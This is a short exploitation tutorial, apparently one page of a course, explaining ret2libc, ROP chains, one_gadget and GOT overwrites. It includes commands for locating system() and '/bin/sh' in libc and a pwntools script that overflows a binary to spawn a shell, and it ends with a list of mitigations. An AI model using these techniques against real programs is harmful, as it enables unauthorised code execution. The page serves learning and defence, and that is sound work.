

Ret2libc, ROP & Chains

Ret2libc concept

NX kills shellcode, not the attack. The exploit just returns to functions *already in memory*:

```
overflow ret -> system() address
next [ret] -> return address
next [rdi = bin_sh pointer]
```

`system('/bin/sh')` – no shellcode written at all. Requirement: know system + /bin/sh offsets (libc leak).

Finding values

```
# in lab, without ASLR running first:
ldd ./vuln                # libc location
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
# find /bin/sh string in libc:
strings -tx /lib/.../libc.so.6 | grep /bin/sh
# with ASLR: leak libc base via printf/GOT, then recompute
```

ROP: the fallback that never needs a shlib shellcode

If you can't call system (gadget constraints), chain tiny 'gadgets' (pop-ret, mov, syscall):

```
ret gadget: pop rdi ; ret + /bin/sh addr + system
or purely:  syscall; ret + execve regs (Linux)
```

Tooling: ROPgadget / ropper generate the chain for you.

One-gadget (the shortcut for ctx)

`execve("/bin/sh", ...)`-ready gadget addresses in libc – single jump if constraints met

`one_gadget` tool checks constraints

The chain builders (pwntools)

```
from pwn import *
context.binary = './vuln'
rop = ROP(context.binary)
rop.call('system', [b'/bin/sh'])
print(rop.dump())
p = process('./vuln')
p.sendline(b'A'*offset + rop.chain())
p.interactive()
```

The 'no libc' miracle: ret2dlresolve / GOT overwrite

Overwrite GOT entry (of puts/free) to another function – modern 'ret2plt'

Classic advanced topics; learn ret2libc + rop first.

Mitigations (so the blue side wins)

RELRO: prevent GOT overwrites (FULL RELRO)

PIE: unknown base $\Rightarrow$ leaks needed

Canary: still random

ASLR: entropy that must be beaten per exploit

Ret2libc is the reason ASLR + NX exist together, and together they're still not enough vs someone who can write a chain. Exploit dev = reading memory with your hands.

[← Stack Exploitation: Overflow...](#)

[Format String Attacks: Arbitra...](#)